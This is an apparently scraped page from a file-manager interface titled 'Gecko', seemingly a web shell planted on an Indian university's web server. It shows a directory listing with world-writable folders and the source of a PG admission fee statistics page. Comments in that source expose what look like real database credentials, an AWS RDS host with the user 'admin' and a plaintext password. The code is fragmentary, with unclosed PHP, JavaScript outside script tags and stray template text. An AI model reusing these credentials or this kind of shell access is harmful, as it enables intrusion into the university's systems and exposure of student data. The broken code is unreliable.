Gecko [ nrupathungauniversityblr.ac.in ]

Name	Size	Permission
admupload	[ DIR ]	drwxrwsrwx
backup	[ DIR ]	drwxrwxrwx
docs	[ DIR ]	drwxr-sr-x
halltickets	[ DIR ]	drwxrwxrwx
images	[ DIR ]	drwxr-sr-x
img	[ DIR ]	drwxr-sr-x
imported_files	[ DIR ]	drwxrwsrwx
misc_files	[ DIR ]	drwxrwxrwx
notifications	[ DIR ]	drwxrwxrwx
student_photos	[ DIR ]	drwxrwsrwx
study_material	[ DIR ]	drwxrwsrwx
teacher_photos	[ DIR ]	drwxrwsrwx
timetable	[ DIR ]	drwxrwxrwx
upload	[ DIR ]	drwxrwsrwx
MainPage.html	21.65 KB	-rwxr-xr-x
collegeInfoPopup.html	4.35 KB	-rwxr-xr-x
docverify.php	818 B	-rw-rw-r--
flash.html	2.23 KB	-rwxr-xr-x
forgotpassword.html	3.38 KB	-rwxr-xr-x
getAppdet.php	8 KB	-rw-rw-r--
getfeepaid.php	9.24 KB	-rw-r--r--
homepage.html	3.35 KB	-rwxr-xr-x
index.php	5.09 KB	-rwxr-xr-x
index_stop.html	6.23 KB	-rwxr-xr-x
indexlogin.html	6.2 KB	-rwxr-xr-x
pgadm.php	13.81 KB	-rw-rw-r--
pgadmfeepaid.php	15.32 KB	-rw-r--r--
timetable.php	2.86 KB	-rwxr-xr-x

Code Editor : pgadmfeepaid.php

<!DOCTYPE html>
<html>

<head>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="0" />
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    <title>PG Admission statistics</title>
    
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    <link href="https://universitysolutions.in/bcu/adm/plugins/bootstrap/css/bootstrap_adm.css" rel="stylesheet">

<link href="https://universitysolutions.in/bcu/adm/plugins/node-waves/waves.css" rel="stylesheet" />

<link href="https://universitysolutions.in/bcu/adm/css/style_adm.css" rel="stylesheet">
    
    <link href="https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin,cyrillic-ext" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css">
    <link href="https://universitysolutions.in/bcu/adm/css/themes/all-themes.css" rel="stylesheet" />

</head>

<?php

include("/var/www/config.php");

// $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
    // $username   = "admin";
    // $password  = "Logisys2104";

$servername = SERVERNAME;
    $username   = USERNAME;
    $password  = PASSWORD;

$conn = new  mysqli($servername, $username, $password);
    if (!$conn) {
        die("Connection failed: " . mysqli_connect_error());
    }
    // echo "<br/><br/><br/><br/>";
    $url = $_SERVER['REQUEST_URI'];
    $path = explode("/", $url);

// var_dump($path[1]);
    if ($path[1] == "bcu")
        $db = "logisys3_bcu";
    else if ($path[1] == "bnu")
        $db = "logisys3_bnu";
    else if ($path[1] == "dud")
        $db = "logisys3_dud";
    else if ($path[1] == "rcub")
        $db = "logisys3_rcu";
    else if ($path[1] == "ru")
        $db = "logisys3_rur";
    else if ($path[1] == "bnu")
        $db = "logisys3_bnu";

$Query = "select fboardcode, fboardname, 
funivcode, funivname, date_format(now(), '%d/%m/%Y %r') as fdate
FROM {$db}.masboard, {$db}.control c order by fboardcode";
    $result = mysqli_query($conn, $Query);
    $row = mysqli_fetch_assoc($result);

$Query2 = "select distinct fdegree, fdescpn from {$db}.entdeg";
    $result2 = mysqli_query($conn, $Query2);
    $row2 = mysqli_fetch_assoc($result2);

<div class="header bg-blue text-center">
                                <h2>Summary</h2>
                            </div>
                            <table class="m-b-12 table table-condensed table-bordered table-striped table-hover" id="summary">
                                        </table>

<div class="header bg-blue text-center">
                                <h2>PG Admission - Coursewise Statistics</h2>
                            </div>

<div class="header bg-blue text-center">
                                <h2>Collegewise Coursewise statistics</h2>
                            </div>
                                        <table class="m-b-12 table table-condensed table-bordered table-striped table-hover" id="appdetfeedegcoll">
                                        </table>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
    </section>

<script src="https://universitysolutions.in/bcu/adm/plugins/bootstrap/js/bootstrap.js"></script>

<script src="https://universitysolutions.in/bcu/adm/plugins/bootstrap-select/js/bootstrap-select.js"></script>

<script src="https://universitysolutions.in/bcu/adm/plugins/jquery-slimscroll/jquery.slimscroll.js"></script>

<script src="https://universitysolutions.in/bcu/adm/plugins/node-waves/waves.js"></script>

// console.log(tot.totalseatallot)

$summary1 = `<tr><th width='10%'></th></tr>
    
    <tr>
            <td width='25%'>Total Seat Alloted</td>
            <td width='75%'>${tot.totalseatallot}</td>

</tr>
 <tr><th width='10%'></th></tr>
 <tr>
 
            <td width='25%'>No. of Candidates Paid Fees</td>
            <td width='75%'>${tot.totalpaid}</td>

</tr>`;

//  $summary1 = `<tr>
//             <td width='30%'><center>Total Paid</center></td>
//             <td width='30%'><center>${tot.totalpaid}</center></td>

//  </tr>`;

$("#summary").html($summary1);

$html = `<tr class='bg-green'>
            <th width='10%'><center>Sl. No.</center></th>
            <th width='10%'><center>Degree Code</center></th>
            <th width='40%'><center>Degree Name</center></th>
            <th width='15%'><center>Total Seat Alloted</center></th>
            <th width='15%'><center>No. of Candidates Paid Fees</center></th>
 </tr>`;
 if(tab1 == null){
    $html += `<tr>
         <td colspan="6"><center>No data Found</center></td>
         </tr>`; 
 }else{
var slno = 1;
var paid = 0;
var not_paid = 0;
var tot_app = 0;
var totalseatallot = 0;
var totalpaid = 0;

for(let i in tab1){
    $html += `<tr>
         <td><center>${slno++}</center></td>
         <td><center>${tab1[i].fdegree}</center></td>
         <td>${tab1[i].fdescpn}</td>
         <td style='text-align:center'>${tab1[i].totalseatallot}</td>
         <td style='text-align:center'>${tab1[i].totalpaid}</td>
         </tr>`;

//  paid += ${i.paid};
        //  not_paid = not_paid + apptab['not_paid'];
        // // console.log(i.tot_app);
        totalseatallot += parseInt(tab1[i].totalseatallot);
        totalpaid += parseInt(tab1[i].totalpaid);
    //   console.log(apptab['tot_app']);
 }

$html += `<tr>
    <td colspan='3'  style='text-align:center'><b>Total</b></td>
    <td style='text-align:center'><b>${totalseatallot}</td>
    <td style='text-align:center'><b>${totalpaid}<b></td>
    </tr>`;
}

$("#appdetfee").html($html);

$html1 = `<tr class='bg-green'>
            <th width='5%'><center>Sl. No.</center></th>
            <th width='10%'><center>College Code</center></th>
            <th width='40%'><center>College Name</center></th>
            <th width='10%'><center>Degree Code</center></th>
            <th width='20%'><center>Degree Name</center></th>
            <th width='10%'><center>Total Seat Alloted</center></th>
            <th width='10%'><center>No. of Candidates Paid Fees</center></th>
 </tr>`;
 if(tab2 == null){
    $html1 += `<tr>
         <td colspan="6"><center>No data Found</center></td>
         </tr>`; 
 }else{
var slno = 1;
var paid = 0;
var not_paid = 0;
var tot_app = 0;
var totalseatallot = 0;
var totalpaid = 0;

for(let i in tab2){
    $html1 += `<tr>
         <td><center>${slno++}</center></td>
         <td><center>${tab2[i].fcollcode}</center></td>
         <td>${tab2[i].fcollname}</td>
         <td><center>${tab2[i].fdegree}</center></td>
         <td>${tab2[i].fdescpn}</td>
         <td style='text-align:center'>${tab2[i].totalseatallot}</td>
         <td style='text-align:center'>${tab2[i].totalpaid}</td>
         </tr>`;

//  paid += ${i.paid};
        //  not_paid = not_paid + apptab['not_paid'];
        // // console.log(i.tot_app);
        totalseatallot += parseInt(tab2[i].totalseatallot);
        totalpaid += parseInt(tab2[i].totalpaid);
    //   console.log(apptab['tot_app']);
 }

$html1 += `<tr>
    <td colspan='5'  style='text-align:center'><b>Total</b></td>
    <td style='text-align:center'><b>${totalseatallot}</td>
    <td style='text-align:center'><b>${totalpaid}<b></td>
    </tr>`;
}

$("#appdetfeedegcoll").html($html1);

}

});
        }

// function getBoardDet() {
        //     var fdeggrp = $("#fdegree").val();
        //     var sem = $("#sem").val();
        //     $.ajax({
        //         type: "POST",
        //         async: false,
        //         data: "type=board" + "&fdeggrp=" + fdeggrp + "&sem=" + sem,
        //         url: "getQPdet.php",
        //         success: function(responce) {
        //             var board = JSON.parse(responce);
        //             var options;
        //             options += `<option value="%">All Boards</option>`;
        //             for (var i = 0; i < board.length; i++) {
        //                 options += `<option value="${board[i].fboardcode}">${board[i].fboardcode} - ${board[i].fboardname}</options>`;
        //             }

//             $("#fboard").html(options);

//         }
        //     });
        // }
    </script>

</body>

</html>

<?php

${this.title}

Code Editor : pgadmfeepaid.php